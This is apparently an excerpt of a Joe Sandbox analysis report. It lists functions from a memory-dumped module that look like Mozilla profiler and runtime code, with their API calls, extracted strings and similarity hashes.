APIs

EnterCriticalSection.KERNEL32(6C95E7DC), ref: 6C910838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C91084C
EnterCriticalSection.KERNEL32(?), ref: 6C9108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9108BD
LeaveCriticalSection.KERNEL32(6C95E7DC), ref: 6C9108D5

Strings

KpT{/, xrefs: 6C91081C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID: KpT{/
API String ID: 837921583-2391877073
Opcode ID: 490d8bb1f9e7897cb2784ce92f539aa12526bb1510a347ab577703a48cc572d8
Instruction ID: 850e0c080190a8fb060803a9e5e1168aa444c0785c341f5effe5989c710e6ec2
Opcode Fuzzy Hash: 490d8bb1f9e7897cb2784ce92f539aa12526bb1510a347ab577703a48cc572d8
Instruction Fuzzy Hash: 3321B331B0D24D8BEF04CF65D845BAE73B9BF45708FA405A8E509A7A40DB37E8148BD0

Function 6C8DEB90 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000104), ref: 6C8DEBB5

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C90D7F3), ref: 6C8DEBC3
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C90D7F3), ref: 6C8DEBD6
free.MOZGLUE(?,?,?,?,?,?,6C90D7F3), ref: 6C8DEBF6
free.MOZGLUE(00000000,?,?,?,?,?,?,6C90D7F3), ref: 6C8DEC0E

Part of subcall function 6C8F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C8F5EDB
Part of subcall function 6C8F5E90: memset.VCRUNTIME140(6C937765,000000E5,55CCCCCC), ref: 6C8F5F27
Part of subcall function 6C8F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C8F5FB2

GetLastError.KERNEL32(?,?,?,?,?,?,6C90D7F3), ref: 6C8DEC1A

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionfreememset$EnterErrorFileLastLeaveModuleNamemallocmoz_xmalloc
String ID:
API String ID: 2948488910-0
Opcode ID: d98a64b0532122e507e0b6353ef2b43f35bd03c30e93a7cd962370fca93ab429
Instruction ID: 9ee456565dd4d3cc5bafc566d7b8adbbb206f8b959c6d884b38f6f7c9efa0b1d
Opcode Fuzzy Hash: d98a64b0532122e507e0b6353ef2b43f35bd03c30e93a7cd962370fca93ab429
Instruction Fuzzy Hash: C7110CF1A043545BEB208A78ED44BAFBAB89F02758F154C34E855E7780E3B5EC0487E2

Function 6C8E1720 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C8E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C8E18EE
free.MOZGLUE(?), ref: 6C8E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8E194C

Strings

KpT{/, xrefs: 6C8E172B

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID: KpT{/
API String ID: 3725304770-2391877073
Opcode ID: 84e3f1aee89440888b0974fc4cc7361f3bdca0347edccfcd3e1c16a4fdc19bf5
Instruction ID: 2c28522fa01cd8d5be577283f8802df9ef2ea18625fa27aef0e69ba49d032660
Opcode Fuzzy Hash: 84e3f1aee89440888b0974fc4cc7361f3bdca0347edccfcd3e1c16a4fdc19bf5
Instruction Fuzzy Hash: BC81E270A152159FCB18CF68C9C49AEBBB1FF8E310F44492CE811AB755DB30E844CBA2

Function 6C931700 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C931800

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Part of subcall function 6C8D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C913EBD,6C913EBD,00000000), ref: 6C8D42A9

Strings

KpT{/, xrefs: 6C931708, 6C93183C
Details, xrefs: 6C931925
{marker.name} - {marker.data.name}, xrefs: 6C9318C7
name, xrefs: 6C931939

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$KpT{/$name${marker.name} - {marker.data.name}
API String ID: 46770647-1775147790
Opcode ID: 4b941330082d3386bae68d8326397a7588dc083430cf3c4565926b0b12f11b91
Instruction ID: 4b04ed06475220e6f8386a37363444278c9f075d1841da0cfe1629a1f8515135
Opcode Fuzzy Hash: 4b941330082d3386bae68d8326397a7588dc083430cf3c4565926b0b12f11b91
Instruction Fuzzy Hash: 46712470A003069FC704CF28D444BAABBB1FF96314F54466DD8194BB41DB30EAA9CBE2

Function 6C93B0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C93B0A6,6C93B0A6,?,6C93AF67,?,00000010,?,6C93AF67,?,00000010,00000000,?,?,6C93AB1F), ref: 6C93B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C93B0A6,6C93B0A6,?,6C93AF67,?,00000010,?,6C93AF67,?,00000010,00000000,?), ref: 6C93B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C93B0A6,6C93B0A6,?,6C93AF67,?,00000010,?,6C93AF67,?,00000010), ref: 6C93B25F

Strings

KpT{/, xrefs: 6C93B21B
map/set<T> too long, xrefs: 6C93B1FA

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: KpT{/$map/set<T> too long
API String ID: 1922495194-2596722617
Opcode ID: 002d4de21ad9bf519f5ac7dee0ea92ba8cfdb5c0a5b8c96365d0e6f75c79f05f
Instruction ID: 2034b9672defcbc0b7c499bc33491aa241f470a889aadcb088e9c652b5fdacaa
Opcode Fuzzy Hash: 002d4de21ad9bf519f5ac7dee0ea92ba8cfdb5c0a5b8c96365d0e6f75c79f05f
Instruction Fuzzy Hash: 8D61A734A046558FC701CF59C880A9ABBF5FF5A318F28C1A9D85D8BB12C331ED45CBA1

Function 6C8FD468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

EnterCriticalSection.KERNEL32(6C95E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD4F2
LeaveCriticalSection.KERNEL32(6C95E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD50B

Part of subcall function 6C8DCFE0: EnterCriticalSection.KERNEL32(6C95E784), ref: 6C8DCFF6
Part of subcall function 6C8DCFE0: LeaveCriticalSection.KERNEL32(6C95E784), ref: 6C8DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD52E
EnterCriticalSection.KERNEL32(6C95E7DC), ref: 6C8FD690
LeaveCriticalSection.KERNEL32(6C95E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C90D1C5), ref: 6C8FD751

Strings

KpT{/, xrefs: 6C8FD4E2
MOZ_CRASH(), xrefs: 6C8FD4BB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: KpT{/$MOZ_CRASH()
API String ID: 3805649505-540122016
Opcode ID: 49dc1f4b7493e870da7c72e0770b28d918dccfffa641407ff409dd6d5257ae4d
Instruction ID: 488bdd9ae7820f9fe4717d51aadb672b9a93722ea148af4c89d75e8729564979
Opcode Fuzzy Hash: 49dc1f4b7493e870da7c72e0770b28d918dccfffa641407ff409dd6d5257ae4d
Instruction Fuzzy Hash: 0451E271A087058FD764CF28C19071AB7E1EB89754F644D2ED6AAC7B84D774E801CB92

Function 6C924630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C924721

Strings

KpT{/, xrefs: 6C9246EF
profiler-paused, xrefs: 6C9246E4
., xrefs: 6C92476A
-%llu, xrefs: 6C924733

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$KpT{/$profiler-paused
API String ID: 3732870572-833290598
Opcode ID: 8c1b3698fcac871e27b99f9ff03bc1f48f2bfd808208bf593b345ca8e8684878
Instruction ID: df6a9440ee2b7a30b9088ec92eca000f783922d6823a8d89385bd6496d6892cb
Opcode Fuzzy Hash: 8c1b3698fcac871e27b99f9ff03bc1f48f2bfd808208bf593b345ca8e8684878
Instruction Fuzzy Hash: 28418932F187089BCB08DF38D84115EBBE9EF85748F20863DE89557B85EB34D8008B81

Function 6C91E390 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C91E3E4
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6C91E4AB

Part of subcall function 6C8E5D40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,?,?,?,6C91D2DA,00000001), ref: 6C8E5D66

ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E4F5
GetCurrentThreadId.KERNEL32 ref: 6C91E577
AcquireSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E584
ReleaseSRWLockExclusive.KERNEL32(6C95F4B8), ref: 6C91E5DE
memset.VCRUNTIME140(?,00000000,00000000), ref: 6C91E6DA
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C91E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C91E883
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C91E8A6

Strings

KpT{/, xrefs: 6C91E2FB, 6C91E399, 6C91E55C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C91E722, 6C91E750, 6C91E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C91E5A1, 6C91E5CC, 6C91E5FF, 6C91E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C91E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C91E826, 6C91E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C91E655

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreememset$Xbad_function_call@std@@malloc
String ID: KpT{/$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 905598890-3382627488
Opcode ID: ffeaf7b531e08538663a2ddab2dea4dc74996b92a8066527948a1555d92a037b
Instruction ID: cf473cdd34eb25648595b2da2d7623d0fb0570316d7bfd9902be94de6e9815b7
Opcode Fuzzy Hash: ffeaf7b531e08538663a2ddab2dea4dc74996b92a8066527948a1555d92a037b
Instruction Fuzzy Hash: 33418874A0460ACFDB18CF29C499AAAB7B5FF4A318F50412DD8569BF81D730E855CBD0

Function 6C949830 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C94985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C94987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9498DE

Strings

KpT{/, xrefs: 6C949839, 6C94991B
ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9498D9

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)$KpT{/
API String ID: 1778083764-1081881796
Opcode ID: 8b6e534b8a459444c0756b22eda117b4fc5937630c2d3459b8d8da300d490bf3
Instruction ID: 6ab91f02004b1ac1d198ac3bdaa5239f78dd30723c38471da8e2b9e4c35fbd82
Opcode Fuzzy Hash: 8b6e534b8a459444c0756b22eda117b4fc5937630c2d3459b8d8da300d490bf3
Instruction Fuzzy Hash: DB310571B002089FDB14AF59D8449EF77B9DF94718F50846DEA1A9BB40DB31D904CBE1

Function 6C9246E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C924721

Part of subcall function 6C8D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C913EBD,00000017,?,00000000,?,6C913EBD,?,?,6C8D42D2), ref: 6C8D4444

Strings

KpT{/, xrefs: 6C9246EF
profiler-paused, xrefs: 6C9246E4
., xrefs: 6C92476A
-%llu, xrefs: 6C924733

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$KpT{/$profiler-paused
API String ID: 680628322-833290598
Opcode ID: 0edf1dfde4205d29ef01cc9f9d2e1df38fd5a25de9a1f583dea8e5043ab39864
Instruction ID: c5262c532d98719518620259a0ebf27bc51676f4e6a9afbbadafce3e37d7fa70
Opcode Fuzzy Hash: 0edf1dfde4205d29ef01cc9f9d2e1df38fd5a25de9a1f583dea8e5043ab39864
Instruction Fuzzy Hash: 66314B71F143084BCB0CCF6CD88129EBBEADB99714F55853DE8559BB45E774D8048B90

Function 6C9377D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C937829

Part of subcall function 6C90CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C8D31A7), ref: 6C90CC45
Part of subcall function 6C90CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C8D31A7), ref: 6C90CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C93789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9378CF

Part of subcall function 6C8D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8D4E5A
Part of subcall function 6C8D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8D4E97

Part of subcall function 6C8D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C913EBD,6C913EBD,00000000), ref: 6C8D42A9

Strings

KpT{/, xrefs: 6C9377E0, 6C937894

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID: KpT{/
API String ID: 2525797420-2391877073
Opcode ID: 758f319bd03ae51a5ca76f9ea1f92dd0e73cd68f996a2b6d814094f07cced911
Instruction ID: 9d84d5a3c356311c5aefad99be96c18a16134aeeb866a1b8fa665d7a54f26ed4
Opcode Fuzzy Hash: 758f319bd03ae51a5ca76f9ea1f92dd0e73cd68f996a2b6d814094f07cced911
Instruction Fuzzy Hash: F341AF719087469FD300DF29C48056BFBF4FFDA264F604A2EE4A987640DB70E559CB92

Function 6C92DAE0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C92DB86
??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C92DC0E
free.MOZGLUE(?), ref: 6C92DC2E
free.MOZGLUE(?), ref: 6C92DC40

Strings

KpT{/, xrefs: 6C92DAEE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Impl@detail@mozilla@@Mutexfree
String ID: KpT{/
API String ID: 3186548839-2391877073
Opcode ID: e1a2b6bfa19e24c12138b0b8a2dc5224c47ae9c6443e05691c06cb971614da0f
Instruction ID: fe6dbc925d068ce37e6deec92376d5b88d9a94440e8ad71c100a2dd10621f8c3
Opcode Fuzzy Hash: e1a2b6bfa19e24c12138b0b8a2dc5224c47ae9c6443e05691c06cb971614da0f
Instruction Fuzzy Hash: C54189766147008FC710CF35C498A6ABBF6BFC8364F64882DE89A87741EB35E844CB91

Function 6C92B410 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C913EBD,6C913EBD,00000000), ref: 6C8D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C92B127), ref: 6C92B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C92B4E4

Strings

KpT{/, xrefs: 6C92B419
pid:, xrefs: 6C92B4DE

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: KpT{/$pid:
API String ID: 1720406129-1668232988
Opcode ID: c74fdc392b85b2d2360a533f63325a3ef0c2c73ea208c56db26b58b53ba73a6e
Instruction ID: 70edbb4f4ad62d1639032dcfa6518ca9efb26f25aca2752dffd3a628fe370524
Opcode Fuzzy Hash: c74fdc392b85b2d2360a533f63325a3ef0c2c73ea208c56db26b58b53ba73a6e
Instruction Fuzzy Hash: 65314631A11209CFCB10DFA9C880AEEB7F9FF49318F540529D9826BA44D735E845CBE1

Function 6C910210 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(?), ref: 6C910222
moz_xmalloc.MOZGLUE(0000000C), ref: 6C910231

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C91028B
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6C9102F7

Strings

@, xrefs: 6C9102D8

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$AcquireFreeHeapReleasemallocmoz_xmalloc
String ID: @
API String ID: 2782572024-2766056989
Opcode ID: b0d50bd3270f8e685a2363808735e1f3984a2a9078c7da04a4590d81e60374ca
Instruction ID: 815155d2911ea4a78989903ac87453665e455bf4234b57a6e223fac3c6c1c24f
Opcode Fuzzy Hash: b0d50bd3270f8e685a2363808735e1f3984a2a9078c7da04a4590d81e60374ca
Instruction Fuzzy Hash: 3E31E0B1B042948FEB54CF18C88162AB7F5FF44314B24892DD95ADBB41D772EC11CB80

Function 6C916470 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9182BC,?,?), ref: 6C91649B

Part of subcall function 6C8ECA10: malloc.MOZGLUE(?), ref: 6C8ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9164A9

Part of subcall function 6C90FA80: GetCurrentThreadId.KERNEL32 ref: 6C90FA8D
Part of subcall function 6C90FA80: AcquireSRWLockExclusive.KERNEL32(6C95F448), ref: 6C90FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C91653F
free.MOZGLUE(?), ref: 6C91655A

Strings

KpT{/, xrefs: 6C916482

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

